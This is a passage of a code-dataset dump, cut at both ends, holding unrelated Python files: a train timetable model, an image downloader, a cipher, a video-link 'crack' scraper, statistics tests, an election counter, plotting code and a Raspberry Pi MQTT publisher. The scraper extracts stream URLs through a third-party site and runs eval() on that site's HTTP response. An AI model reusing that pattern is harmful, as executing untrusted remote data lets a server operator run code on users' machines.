departure_time):\n earliest_departure_time_ = departure_time\n break\n\n return earliest_departure_time_.strftime('%H:%M') if earliest_departure_time_ else next_stop_departure_time[\n 0].strftime('%H:%M')\n\n @time_span_decorator\n def _time_span(self, time_sequence, duration, arrival_time):\n \"\"\"\n This method is to calculate the duration from the first city departure time to last city arrival time\n :param time_sequence: list of time \n :param duration: list of duration between adjacent stops\n :param arrival_time: arrival time of each city\n :return: \n \"\"\"\n accumulated_time = datetime.timedelta(hours=0, minutes=0)\n last_index = len(time_sequence) - 2\n for index, time in enumerate(time_sequence[:-1]):\n if index == last_index:\n accumulated_time = accumulated_time + duration[index]\n break\n departure_time = time_sequence[index + 1]\n arrival_time_ = arrival_time[index]\n\n if arrival_time_ <= departure_time:\n time_interval = duration[index] + departure_time - arrival_time_\n else:\n time_interval = duration[index] + departure_time - arrival_time_ + datetime.timedelta(hours=24)\n\n accumulated_time = accumulated_time + time_interval\n\n if accumulated_time.days > 0:\n hour_, minutes, _ = str(accumulated_time).split(',')[1].strip().split(':')\n new_hours = int(hour_) + 24 * accumulated_time.days\n\n return ':'.join([str(new_hours), str(int(minutes))])\n\n hour_, minutes, _ = str(accumulated_time).split(':')\n\n return ':'.join([str(int(hour_)), str(int(minutes))])\n\n def _shortest_time_span(self, time_table, route):\n \"\"\"\n This method is to calculate shortest journey length travelling from the first station of the journey to the last \n :param time_table: \n :return: shortest time\n \"\"\"\n result = []\n total_routes = len(time_table)\n duration = [self.journey_duration(station, route[i + 1]) for i, station in enumerate(route[:-1])]\n for first_departure_time, arrival_time in time_table[0].items():\n arrival_time_list = [arrival_time]\n available_departure_time = [first_departure_time]\n earliest_arrival_time = arrival_time\n for route_index, timetable in enumerate(time_table[1:], 1):\n\n earliest_departure_time = self._earliest_departure_time(earliest_arrival_time, timetable)\n earliest_arrival_time = timetable[earliest_departure_time]\n arrival_time_list.append(earliest_arrival_time)\n available_departure_time.append(earliest_departure_time)\n if route_index == total_routes - 1:\n available_departure_time.append(earliest_arrival_time)\n result.append({'time_sequence': available_departure_time,\n 'duration': duration, 'arrival_time': arrival_time_list})\n time_consumed = [self._time_span(i['time_sequence'], i['duration'], i['arrival_time']) for i in result]\n return min(time_consumed)\n\n def shortest_route(self, start_station, end_station):\n \"\"\"\n This method is to find all the paths from start_station to end_station, and corresponding timetable from which \n shortest journey is found\n :param start_station: str\n :param end_station: str\n :return: shortest path from start_station to end_station, duration of this path\n \"\"\"\n all_paths = self.all_valid_journey(start_station, end_station)\n journey_len = {}\n for route in all_paths:\n time_table = self._time_table_from_route(route)\n if not time_table:\n continue\n shortest_time = self._shortest_time_span(time_table, route)\n journey_len[''.join(route)] = shortest_time\n\n if journey_len:\n quickest_path = min(journey_len, key=journey_len.get)\n return quickest_path, journey_len[quickest_path]\n","repo_name":"arturogonzalezm/trainsimulator","sub_path":"trainsimulator/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":14123,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"73216148377","text":"import requests\nimport csv\nimport sys\nfrom datetime import datetime\nimport os\n\ncsv_path = sys.argv[1]\nimg_path = sys.argv[2]\n\ndt_time = datetime.today().strftime('%Y-%m-%d')\nos.mkdir(img_path + dt_time)\n\nwith open(csv_path,'r') as file:\n reader = csv.reader(file, delimiter=';')\n next(reader)\n \n for count, row in enumerate(reader):\n image_et = row[13]\n response_et = requests.get(image_et)\n file_et = open(img_path + dt_time + '\\\\' + str(count) +'_image_et.jpg', 'wb')\n file_et.write(response_et.content)\n file_et.close()\n \n \n image_cs = row[14]\n response_cs = requests.get(image_cs)\n file_cs = open(img_path + dt_time + '\\\\'+ str(count) +'_image_cs.jpg', 'wb')\n file_cs.write(response_cs.content)\n file_cs.close()","repo_name":"MaaYuu/Online_Arbitrage_project","sub_path":"online_arbitrage/image_download.py","file_name":"image_download.py","file_ext":"py","file_size_in_byte":811,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"40691712409","text":"def decode(string):\n\tstring = ''.join(ch for ch in string.lower() if ch.isalnum())\n\treturn_str = ''\n\tfor x in string:\n\t\tif x.isalpha():\n\t\t\t25 - ord('a') + 97\n\t\t\tchar = chr(25 - ord(x) + 97 + ord('a'))\n\t\t\treturn_str += char\n\t\telse:\n\t\t\treturn_str += x\n\treturn return_str\n\ndef encode(string): \n\tstring = decode(string)\n\tstr_list = []\n\twhile len(string) > 5:\n\t\tstr_list.append(string[:5])\n\t\tstring = string[5:]\n\tif string:\n\t\tstr_list.append(string)\n\treturn ' '.join(str_list)\n","repo_name":"itsolutionscorp/AutoStyle-Clustering","sub_path":"all_data/exercism_data/python/atbash-cipher/f2e9f5db90f84382934cfdffade3f548.py","file_name":"f2e9f5db90f84382934cfdffade3f548.py","file_ext":"py","file_size_in_byte":472,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"68"}
+{"seq_id":"367227125","text":"import re\nfrom bs4 import BeautifulSoup\nfrom urllib import request, parse\n\n\nclass CrackUtils:\n\n @staticmethod\n def video_crack(item):\n get_url = 'http://www.wq114.org/x2/tong.php?url=%s' % item['video_url']\n get_movie_url = 'http://www.wq114.org/x2/api.php'\n head = {\n 'User-Agent': 'Mozilla/5.0 (Linux; Android 4.1.1; Nexus 7 Build/JRO03D) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.166 Safari/535.19',\n 'Referer': get_url\n }\n get_url_req = request.Request(url=get_url, headers=head)\n get_url_response = request.urlopen(get_url_req)\n get_url_html = get_url_response.read().decode('utf-8')\n bf = BeautifulSoup(get_url_html, 'lxml')\n a = str(bf.find_all('script'))\n pattern = re.compile(\"url : '(.+)',\", re.IGNORECASE)\n allPattern = pattern.findall(a)\n if len(allPattern) == 0:\n raise Exception\n url = allPattern[0]\n get_movie_data = {\n 'up': '0',\n 'url': '%s' % url,\n }\n get_movie_req = request.Request(url=get_movie_url, headers=head)\n get_movie_data = parse.urlencode(get_movie_data).encode('utf-8')\n get_movie_response = request.urlopen(get_movie_req, get_movie_data)\n get_movie_html = get_movie_response.read().decode('utf-8')\n respJson = eval(get_movie_html)\n item['h5_url'] = str(respJson['url']).replace(\"\\/\", \"/\")\n item = CrackUtils.resource_crack(item)\n return item\n\n @staticmethod\n def resource_crack(item):\n get_url = item['h5_url']\n if str(get_url).endswith(\".m3u8\") or str(get_url).endswith(\".mp4\"):\n item['resource_url'] = get_url\n return item\n head = {\n 'User-Agent': 'Mozilla/5.0 (Linux; Android 4.1.1; Nexus 7 Build/JRO03D) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.166 Safari/535.19',\n 'Referer': get_url\n }\n get_url_req = request.Request(url=get_url, headers=head)\n get_url_response = request.urlopen(get_url_req)\n get_url_html = get_url_response.read().decode('utf-8')\n bf = BeautifulSoup(get_url_html, 'lxml')\n a = str(bf.find_all('script'))\n pattern = re.compile(\"hls.loadSource\\('(.+)'\\)\", re.IGNORECASE)\n resourceAll = pattern.findall(a)\n if len(resourceAll) > 0:\n url = str(pattern.findall(a)[0]).replace(\"\\/\", \"/\")\n item['resource_url'] = url\n return item\n","repo_name":"hjcenry/VideoCrawer","sub_path":"video_url_crawler_demo/spiders/crackutils.py","file_name":"crackutils.py","file_ext":"py","file_size_in_byte":2499,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"}
+{"seq_id":"23933779124","text":"\"\"\"Tests of equal correlation hypothesis\n\nThe module contains methods testing hypothesis of\ncorrelation equality\n\"\"\"\n\n\nimport numpy as np\nimport scipy.stats\nfrom .correlation_utils import \\\n pearsonr_mean, pearsonr_std\n\ndef ztest(\n first_rs, first_size,\n second_rs, second_size,\n correlation=\"spearman\",\n alternative=\"two-sided\"\n):\n \"\"\"Check the hypothesis that pearson correlations\n are equal\n\n Parameters\n ----------\n first_rs: numerical value or list\n A sequence (potentially with one element)\n of correlations.\n first_size: numerical value or list\n Sizes of samples that were used to compute\n \"first_rs\" correlation(s).\n second_rs: numerical value or list\n A sequence (potentially with one element)\n of correlations.\n second_size: numerical value or list\n Sizes of samples that were used to compute\n \"second_rs\" correlation(s).\n alternative: \"two-sided\" (default), \"less\", \"greater\"\n Computes the probability of the following events:\n \"two-sided\" |arctanh(x1) - arctanh(x2)| >\n |arctanh(first_rs) - arctanh(second_rs)|,\n \"less\" arctanh(x1) - arctanh(x2) <=\n arctanh(first_rs) - arctanh(second_rs) ,\n \"greater\" arctanh(x1) - arctanh(x2) >\n arctanh(first_rs) - arctanh(second_rs).\n \n Returns\n -------\n pair of numerical values or numpy.arrays respectively to the input\n Contains statistic and pvalue.\n \"\"\"\n\n if len(first_rs) != len(second_rs):\n return None\n result_len = len(first_rs)\n\n first_rs = np.array(first_rs)\n first_size = np.array(first_size)\n \n second_rs = np.array(second_rs)\n second_size = np.array(second_size)\n \n bound_indexes = (np.abs(first_rs + second_rs) == 2) | \\\n (first_rs == None) | (second_rs == None)\n bound_indexes = ~bound_indexes\n\n first_rs = first_rs[bound_indexes]\n second_rs = second_rs[bound_indexes]\n\n first_ss = pearsonr_std(first_rs, first_size)\n second_ss = pearsonr_std(second_rs, second_size)\n \n if (correlation==\"spearman\"):\n first_ss *= np.sqrt(1.5)\n second_ss *= np.sqrt(1.5)\n\n stat = np.arctanh(first_rs) - np.arctanh(second_rs)\n std = np.sqrt(first_ss**2 + second_ss**2)\n \n pvalue = None\n \n if (alternative == \"less\"):\n pvalue = scipy.stats.norm.cdf(stat, scale=std)\n elif (alternative == \"greater\"):\n pvalue = 1 - scipy.stats.norm.cdf(stat, scale=std)\n elif (alternative == \"two-sided\"):\n pvalue = 2 * scipy.stats.norm.cdf(-np.abs(stat), scale=std)\n\n stat_result = np.zeros(result_len, dtype=\"float32\")\n pvalue_result = np.zeros(result_len, dtype=\"float32\")\n \n stat_result[~bound_indexes] = None\n pvalue_result[~bound_indexes] = None\n \n stat_result[bound_indexes] = stat\n pvalue_result[bound_indexes] = pvalue\n\n return stat_result, pvalue_result\n","repo_name":"zhiyanov/DCoNA","sub_path":"dcona/core/correlations/correlation_tests.py","file_name":"correlation_tests.py","file_ext":"py","file_size_in_byte":2908,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"68"}
+{"seq_id":"35777892096","text":"\ndef func(sp,weightdf,vehicle_path,plate):\n dflist = []\n # for jj in range(0,3):\n for jj in range(0,len(sp)):\n # match the indeces of filtered movements\n df = sp.loc[sp.index==jj]\n TravelTime = float(df['duration'])\n if TravelTime > 40:\n continue\n if TravelTime < 2:\n continue\n\n # split 'date' & 'start_time' & 'end_time' of (marginal.csv) file\n df['Dates'] = pd.to_datetime(df['first_time']).dt.date\n s = pd.to_datetime(df['last_time']).dt.date\n if df['Dates'].iloc[0]!=s.iloc[0]:\n continue\n df['HrMin_start'] = pd.to_datetime(df['first_time']).dt.strftime('%H:%M')\n df['HrMin_end'] = pd.to_datetime(df['last_time']).dt.strftime('%H:%M')\n\n # Open (matched_index.csv) file that matches the date of current sp trip\n str_date = str(df['Dates'].iloc[0])\n matchedroadID_file = [str(f) for f in os.listdir(vehicle_path) if \n re.match(rf'.*{re.escape(str_date)}.*_indexes', f)]\n \n # for some days there is no file. Ignore them\n if bool(matchedroadID_file):\n full_path_ID = vehicle_path+'\\\\'+matchedroadID_file[0]\n df_id = pd.read_csv(full_path_ID)\n else:\n continue\n\n # Open (edges_all.csv) file that matches the date of current sp trip\n matchedroadall_file = [str(f) for f in os.listdir(vehicle_path) if \n re.match(rf'.*{re.escape(str_date)}.*_all', f)]\n full_path_all = vehicle_path+'\\\\'+matchedroadall_file[0]\n df_all = pd.read_csv(full_path_all)\n df_all['HrMin'] = pd.to_datetime(df_all['datetime']).dt.strftime('%H:%M')\n first_index = df_all[df_all['HrMin'] == df['HrMin_start'].iloc[0]].index[0]\n last_in = df_all[df_all['HrMin'] == df['HrMin_end'].iloc[0]].index\n last_index = last_in[-1]\n df_specific = df_all[(df_all.index >= first_index) & (df_all.index <= last_index)]\n EdgeIndex_unique1 = df_specific['EdgeIndex'].unique()\n df_matched = getsp.find_chunk(df_specific, df_id, EdgeIndex_unique1)\n\n if df_matched is None:\n continue\n \n EdgeIndex_unique = df_matched['Index'].unique()\n if len(EdgeIndex_unique) < 2:\n continue\n EdgeIndex_unique = df_matched['Index'].unique()\n new_df = t.calc_time(df_specific)\n y = new_df['TimeDiff0'].iloc[:].sum()\n #_____________________weight_df_____________________#\n df_specific['hour'] = pd.to_datetime(df_specific['datetime']).dt.strftime('%H')\n hr = int(df_specific['hour'].iloc[0]) \n time_list = []\n for ind, row in weightdf.iterrows():\n traversetime = row['weight'][hr]\n time_list.append(traversetime)\n # define the traversal time of an edge at a specific time as weight (instead of velocity weight)\n weightdf['weight(s)'] = time_list\n \n # _____________________network_______________________#\n # Extract required data from testing trip: duration, source_node, target_node, hour\n for i in EdgeIndex_unique:\n if i in weightdf['EdgeID'].values:\n start = i\n break\n if EdgeIndex_unique[-2] not in weightdf['EdgeID'].values:\n a = [i in weightdf['EdgeID'].values for i in EdgeIndex_unique]\n output = [idx for idx, element in enumerate(a) if element==False][0]\n end = EdgeIndex_unique[output-1]\n else:\n end = EdgeIndex_unique[-2]\n source = weightdf.loc[weightdf['EdgeID'] == start, 'from_node'].iloc[0]\n try:\n target = weightdf.loc[weightdf['EdgeID'] == end, 'to_node'].iloc[0]\n except (ValueError,IndexError):\n continue\n\n output = net.mynetwork(source,target,weightdf)\n\n if output is None:\n y_dijk1 = np.nan\n continue\n else:\n y_dijk1 = output[0]\n path_dijk = output[1]\n dijk_dist = output[2]\n\n # ______________________similarity_________________________#\n node_list1=[]\n for i in EdgeIndex_unique:\n try:\n df = weightdf.loc[weightdf['EdgeID']==i]\n node_list1.extend([df['from_node'].iloc[0],df['to_node'].iloc[0]])\n except (TypeError, IndexError):\n continue\n node_list_unique1 = list(set(node_list1))\n similarity = sum(i in node_list_unique1 for i in path_dijk)/len(node_list_unique1)\n sim = sum(i in node_list_unique1 for i in path_dijk)/len(path_dijk)\n #************** Total route travel time ******************\n sumtime_traversal = new_df['TimeDiff0'].iloc[:].sum() \n #**********************************************\n df_specific['hour'] = pd.to_datetime(df_specific['datetime']).dt.strftime('%H')\n #************** hour of day *************\n hr = int(df_specific['hour'].iloc[0]) # hour of day\n #***************** Total route distance ********************\n distance = df_matched['Distance'].sum()\n #**********************************************************\n\n tripdf = pd.DataFrame([{'travel time':sumtime_traversal,'hour of day':hr,\n 'distance': distance, 'est_dist': dijk_dist, 'similarity':similarity, 'similarity_dijk':sim}])\n\n\n dflist.append(tripdf)\n all_tripdf = pd.concat(dflist, axis=0, ignore_index=True)\n \n return all_tripdf\n\n\n\n\nimport re\nimport os\nimport pandas as pd\nimport numpy as np\nimport network as net\nimport SPpath_finder as getsp\nimport speed_file as t\n\n\n","repo_name":"ShimaRahmani/Seneca-Project","sub_path":"NN/travelfile_dijk.py","file_name":"travelfile_dijk.py","file_ext":"py","file_size_in_byte":5643,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"40960653226","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Aug 18 20:49:47 2020\n\n@author: elliotgross\n\"\"\"\n\n\nimport pandas as pd\nimport numpy as np\nimport math\n\n\ndef undo_levels(df):\n '''\n This method strips the mutli-index and returns a dataframe with reseted indecies.\n\n Parameters\n ----------\n df : pd.DataFrame\n A dataframe of all the votes.\n\n Returns\n -------\n : pd.DataFrame\n A dataframe of all the votes, with reseted indecies.\n\n '''\n \n return df.reset_index().drop(['index','level_0'], axis=1, errors='ignore')\n\ndef eliminate_candidate(df, candidate):\n '''\n This method gets rid of all the instances of the inputed candidate and shifts \n the next choice vote over. \n\n Parameters\n ----------\n df : pd.DataFrame\n A dataframe of all the votes.\n candidate : String\n The candidate to be removed.\n\n Returns\n -------\n df : pd.DataFrame\n A dataframe with the inputed candidate removed\n\n '''\n df = undo_levels(df)\n \n\n for i,column in enumerate(df.columns.to_list()[:-1]):\n candidate_to_remove_index = df[df[column] == candidate].index\n \n #Shift from current column to final choice\n df.loc[candidate_to_remove_index,df.columns.to_list()[i:-1]] = df.loc[candidate_to_remove_index,\n df.columns.to_list()[:-1]].shift(-1,axis=1)\n \n # Re-Add Levels\n df = df.set_index(df.columns.to_list()[:-1]).sort_index()\n \n return df\n \ndef handle_winner(df, threshold, total_winners):\n '''\n This method finds the winner, calculates the new weight, distributes the votes using the new weight,\n and then removes the winner. Afterwards, the winner is added to the total_winners list. The df\n and total_winners are returned\n\n Parameters\n ----------\n df : pd.DataFrame\n A dataframe of all the votes.\n threshold : float\n The minimum amount of votes needed to secure a win.\n total_winners : list\n A list of the total winners.\n\n Returns\n -------\n df : pd.DataFrame\n A dataframe of all the votes, with the votes redistributed and the winner removed.\n total_winners : list\n A list of the winners of the election.\n\n '''\n \n top_winner_row = df.reset_index().groupby(['Choice 1']).sum().sort_values(['Weight'], ascending=False).iloc[0,:]\n \n winner_name, winner_votes = top_winner_row.name, top_winner_row['Weight']\n\n if winner_votes > threshold:\n new_weight = (winner_votes-threshold)/winner_votes\n \n df = undo_levels(df)\n \n #Redistribute Vote\n winner_rows_index = df[df['Choice 1'] == winner_name].index\n df.loc[winner_rows_index,'Weight'] *= new_weight\n \n #Get Rid of Winner\n df = eliminate_candidate(df, winner_name)\n\n total_winners.append(winner_name)\n \n return df, total_winners\n\ndef handle_loser(df):\n '''\n This method first calculates the loser and then removes them from the dataframe\n\n Parameters\n ----------\n df : pd.DataFrame\n A dataframe of all the votes.\n\n Returns\n -------\n df : pd.DataFrame\n A dataframe of all the votes with the loser removed.\n\n '''\n \n loser_name = df.reset_index().groupby(['Choice 1']).sum().sort_values(['Weight']).iloc[0,:].name\n df = eliminate_candidate(df, loser_name)\n \n return df\n\n \ndef check_for_winner(df, threshold):\n '''\n This method first calculates the winner and returns the logistical outcome of the winner having\n more votes than the threshold.\n\n Parameters\n ----------\n df : pd.DataFrame\n A dataframe of all the votes.\n threshold : float\n The minimum amount of votes needed to secure a win.\n\n Returns\n -------\n : bool\n The outcome of the winner having more votes than the threshold.\n\n '''\n \n top_winner_row = df.reset_index().groupby(['Choice 1']).sum().sort_values(['Weight'], ascending=False).iloc[0,:]\n winner_votes = top_winner_row['Weight']\n \n return winner_votes > threshold\n \n \ndef prepare_data(csv_filename, candidates):\n '''\n This method takes in a csv filename and the candidates and returns a multi-indexed,\n prepared dataframe.\n\n Parameters\n ----------\n csv_filename : String\n A filepath to the votes data.\n candidates : list\n A list of all the candidates.\n\n Returns\n -------\n df : pd.DataFrame\n A multi-indexed, prepared, dataframe.\n\n '''\n \n #Create Column Names\n column_names = [\"Choice %s\" % (i+1) for i in range(len(candidates))]\n candidate_scores = dict([(candidate, 1) for candidate in candidates])\n \n handle_invalid_votes(csv_filename)\n \n #Read CSV\n df = pd.read_csv(csv_filename, names=column_names)\n df = df.reset_index(drop=True)\n \n #Set the Weight\n df[\"Weight\"] = 1\n \n #Convert and return a multi-index dataframe\n return df.set_index(df.columns.to_list()[:-1]).sort_index()\n\n \ndef handle_invalid_votes(csv_filename):\n '''\n This method pushes all the empty votes to the end and removes all the empty ballots.\n\n Parameters\n ----------\n csv_filename : String\n A string of the name of the csv file.\n\n '''\n file = open(csv_filename)\n file_content = file.read()\n file_rows = file_content.split('\\n')\n \n cleaned_rows = []\n for row in file_rows:\n choices = row.split(',')\n \n is_empty = True\n for choice in choices:\n if choice == '':\n choices.append(choices.pop(choices.index(choice))) \n else:\n is_empty = False\n \n if not is_empty:\n cleaned_rows.append(','.join(choices))\n \n file = open(csv_filename, 'w')\n file = file.write('\\n'.join(cleaned_rows))\n \ndef remove_invalid_votes(df):\n '''\n This method removes all the invalid votes in the first choice column.\n\n Parameters\n ----------\n df : pd.DataFrame\n A dataframe of all the votes.\n\n Returns\n -------\n df : pd.DataFrame\n A dataframe with invalid votes removed.\n\n '''\n df = undo_levels(df)\n df = df.drop(df[df['Choice 1'] != df['Choice 1']].index)\n \n return df\n\ndef run_rounds(df, num_of_winners, total_winners):\n '''\n This method retruns the total winners of the election.\n \n This method first checks if there are enough total winners. If there are, then the winners \n are returned. If there aren't, the invalid votes are removed and then it checks for a winner. If\n there is a winner, then the handle_winner(df, threshold, total_winners) method is called and then \n run_rounds(df, num_of_winners, threshold, total_winners) is called again. If there is no winner,\n then the handle_loser(df) method is called, followed by a recursive \n run_rounds(df, num_of_winners, threshold, total_winners).\n \n Parameters\n ----------\n df : pd.DataFrame\n A dataframe of all the votes.\n num_of_winners : int\n The desired amount of winners.\n total_winners : list\n A list of the winners so far.\n\n Returns\n -------\n total_winners : list\n A list of the total winners.\n\n '''\n \n df = remove_invalid_votes(df)\n\n if len(total_winners) < num_of_winners:\n \n total_votes = df.shape[0]\n threshold = math.floor(total_votes / (num_of_winners+1) + 1)\n \n if check_for_winner(df, threshold):\n df, total_winners = handle_winner(df, threshold, total_winners)\n return run_rounds(df, num_of_winners, total_winners)\n \n else:\n df = handle_loser(df)\n return run_rounds(df, num_of_winners, total_winners)\n \n return total_winners\n \n \n \ndef main(csv_filename, candidates, num_of_winners):\n '''\n This method first prepares the data, then runs the run_rounds(df, num_of_winners, total_winners)\n method and saves the total winners to a variable. The total_winners are then returned.\n\n Parameters\n ----------\n csv_filename : String\n A filepath to the votes data.\n candidates : list\n A list of all the candidates.\n num_of_winners : int\n The desired amount of winners.\n\n Returns\n -------\n total_winners : list\n The winners of the election.\n\n '''\n df = prepare_data(csv_filename, candidates)\n \n total_winners = run_rounds(df, num_of_winners, [])\n \n return total_winners\n ","repo_name":"Elliot-Gross/Election-System-Project","sub_path":"sample/Election_Project.py","file_name":"Election_Project.py","file_ext":"py","file_size_in_byte":8571,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"41526354422","text":"import matplotlib.pyplot as plt\nimport matplotlib.colors as mcolors\nimport numpy as np\n\n\nclass PlotterStrip:\n _color_list = list(mcolors.CSS4_COLORS.values())\n\n def __init__(self):\n np.random.seed(0)\n plt.axes()\n\n plt.xlabel('Ancho')\n plt.ylabel('Altura')\n\n def plot_individual_with_rotation(self, individual, heights, widths, max_width, title=\"Strip Packaging Problem - With Rotations\"):\n # Plot Variables\n plt.title(title)\n ancho_anterior = 0\n # Index rectangle variables\n i = 0\n ancho_acum = 0\n altura_max = 0\n altura_total = 0\n ancho_actual = 0\n\n for rectangulo in individual[0]:\n rectangulo = int(rectangulo)\n\n # Update Plot position\n ancho_anterior += ancho_actual\n\n # Chequeo la orientación del rectángulo\n if individual[1][i] == 0:\n ancho_actual = widths[rectangulo]\n altura_actual = heights[rectangulo]\n else:\n ancho_actual = heights[rectangulo]\n altura_actual = widths[rectangulo]\n\n if ancho_actual + ancho_acum <= max_width:\n ancho_acum += ancho_actual\n if altura_actual > altura_max:\n altura_max = altura_actual\n else:\n altura_total += altura_max\n ancho_acum = ancho_actual\n altura_max = altura_actual\n\n # Update Plot position\n ancho_anterior = 0\n i += 1\n\n # Draw rectangle\n plt.axis('scaled')\n fillColor = self._random_color()\n rectangle_to_draw = plt.Rectangle((ancho_anterior, altura_total), ancho_actual, altura_actual,\n fc=fillColor, ec='k')\n plt.gca().add_patch(rectangle_to_draw)\n\n plt.show()\n\n altura_total += altura_max\n return altura_total\n\n def plot_individual_with_no_rotation(self, individual, heights, widths, max_width,\n title=\"Strip Packaging Problem - No rotations\"):\n # Plot variables\n plt.title(title)\n ancho_anterior = 0\n ancho_actual = 0\n altura_actual = 0\n\n # Variables to index rectangles\n ancho_acum = 0\n altura_max = 0\n altura_total = 0\n\n for rectangle in individual:\n rectangle = int(rectangle)\n\n # Update Plot position\n ancho_anterior += ancho_actual\n ancho_actual = widths[rectangle]\n\n # Update heights and widths\n if widths[rectangle] + ancho_acum <= max_width:\n ancho_acum += widths[rectangle]\n if heights[rectangle] > altura_max:\n altura_max = heights[rectangle]\n else:\n altura_total += altura_max\n ancho_acum = widths[rectangle]\n altura_max = heights[rectangle]\n\n # Update Plot position\n altura_actual = altura_total\n ancho_anterior = 0\n\n # Draw rectangle\n plt.axis('scaled')\n rectangle = plt.Rectangle((ancho_anterior, altura_actual), widths[rectangle], heights[rectangle],\n fc=self._random_color(), ec='k')\n plt.gca().add_patch(rectangle)\n\n plt.show()\n\n return\n\n # Returns a random color from _color_list\n def _random_color(self):\n fill_color_index = np.random.randint(0, len(self._color_list))\n return self._color_list[fill_color_index]\n","repo_name":"meganmaguire/SPP-GA","sub_path":"Plotter.py","file_name":"Plotter.py","file_ext":"py","file_size_in_byte":3642,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"10512731145","text":"\ndef read_in_depths(file_name):\n with open(file_name) as file:\n lines = file.readlines()\n lines = [int(line.rstrip()) for line in lines]\n return lines\n\ndef count_increases(depths):\n increase_count = 0\n\n for i in range(1,len(depths)):\n increase_count = increase_count + 1 if depths[i] > depths[i - 1] else increase_count\n\n return increase_count\n\ndef apply_window_count(depths, window):\n summed_depths = []\n\n for i in range(0, len(depths) - (window-1)):\n sum = 0\n for j in range(i, i + window):\n sum = sum + depths[j]\n summed_depths.append(sum)\n \n return summed_depths\n\n#A: 1766\n#H: 1581\ndef day_one_part_one():\n depths = read_in_depths(\"data/day_one.txt\")\n return count_increases(depths)\n\n#A: 1797\n#H: 1618\ndef day_one_part_two():\n depths = read_in_depths(\"data/day_one.txt\")\n window_count_depths = apply_window_count(depths, 3)\n return count_increases(window_count_depths)\n\nprint(day_one_part_one())\nprint(day_one_part_two())\n","repo_name":"aliwen-soft/AdventOfCode2021","sub_path":"src/day1_depth_counter.py","file_name":"day1_depth_counter.py","file_ext":"py","file_size_in_byte":1029,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"24406018996","text":"#! /usr/bin/env python3\n\n# based on https://gist.github.com/Sennevds/1ff538ba80978810019af3d5da92118f\nfrom subprocess import check_output\nfrom re import findall\nimport psutil\nimport sys\nimport os\nimport threading, time, signal\nfrom datetime import timedelta\nimport datetime as dt\nimport paho.mqtt.client as mqtt\nimport pytz\nimport json\nfrom pytz import timezone\nimport logging\nfrom systemd.journal import JournalHandler\n\nlog = logging.getLogger(\"mqtt-publisher\")\nlog.addHandler(JournalHandler())\nlog.setLevel(logging.INFO)\n\n# Config\nbroker_url = os.getenv('MQTT_HOST') #MQTT server IP\ndeviceName = os.getenv('DEVICE_NAME') #Name off your PI\n\nDEFAULT_TIME_ZONE = timezone(os.getenv('TZ','Europe/Moscow'))#Local Time zone\nbroker_port = int(os.getenv('MQTT_PORT', 1883)) #MQTT server port\nbroker_user = os.getenv('MQTT_USER', '')\nbroker_pass = os.getenv('MQTT_PASS' ,'')\ntrackedMounts = os.getenv('TRACKED_MOUNTS', 'root:/')\n\nWAIT_TIME_SECONDS = int(os.getenv(\"SLEEP_TIME\", 60))\n\nPROCFS_PATH = os.getenv(\"PROC_PATH\", \"/proc\")\nMODEL_PATH = os.getenv(\"MODEL_PATH\", \"/sys/firmware/devicetree/base/model\")\nVCGENCMD = os.getenv(\"VCGENCMD\", \"vcgencmd\")\n\npsutil.PROCFS_PATH = PROCFS_PATH\n\nUTC = pytz.utc\nSYSFILE = '/sys/devices/platform/soc/soc:firmware/get_throttled'\n\nmqtt.Client.connected_flag=False\n\ndef on_connect(client, userdata, flags, rc):\n log.info(\"Connect callback RC: \" + str(rc))\n\n if rc==0:\n log.info(\"Connected\")\n client.connected_flag = True\n log.info(\"Sending initial data on connect\")\n\n configure_device()\n update_sensors()\n\n log.info(\"Sent initial data on connect\")\n else:\n log.info(\"Bad connection\")\n client.connected_flag = False\n\ndef on_disconnect(client, userdata, rc):\n log.info(\"Disconnected\") \n client.connected_flag = False\n\nclient = mqtt.Client()\nclient.username_pw_set(broker_user, broker_pass)\nclient.on_connect = on_connect \nclient.on_disconnect = on_disconnect\n\nclass ProgramKilled(Exception):\n pass\n\ndef signal_handler(signum, frame):\n client.disconnect()\n raise ProgramKilled\n\nclass Job(threading.Thread):\n def __init__(self, interval, execute, *args, **kwargs):\n threading.Thread.__init__(self)\n self.daemon = False\n self.stopped = threading.Event()\n self.interval = interval\n self.execute = execute\n self.args = args\n self.kwargs = kwargs\n \n def stop(self):\n self.stopped.set()\n self.join()\n def run(self):\n while not self.stopped.wait(self.interval.total_seconds()):\n self.execute(*self.args, **self.kwargs)\n\ndef utc_from_timestamp(timestamp: float) -> dt.datetime:\n \"\"\"Return a UTC time from a timestamp.\"\"\"\n return UTC.localize(dt.datetime.utcfromtimestamp(timestamp))\n\ndef as_local(dattim: dt.datetime) -> dt.datetime:\n \"\"\"Convert a UTC datetime object to local time zone.\"\"\"\n if dattim.tzinfo == DEFAULT_TIME_ZONE:\n return dattim\n if dattim.tzinfo is None:\n dattim = UTC.localize(dattim)\n\n return dattim.astimezone(DEFAULT_TIME_ZONE)\n\ndef get_last_boot():\n return str(as_local(utc_from_timestamp(psutil.boot_time())).isoformat())\n\ndef update_sensors():\n if not client.connected_flag:\n log.info(\"Publishing device status skipped: not connected\")\n return\n\n log.info(\"Publishing device status\")\n\n mounts = {}\n \n for pair in trackedMounts.split(\";\"):\n mountConf = pair.split(\":\")\n mountPath = mountConf[1]\n mountName = mountConf[0]\n \n mounts[mountName] = get_disk_usage(mountPath)\n\n\n client.publish(\n topic=get_state_topic(), \n payload=json.dumps({\n \"temperature\": get_temp(),\n \"disk_use\": mounts,\n \"memory_use\": get_memory_usage(),\n 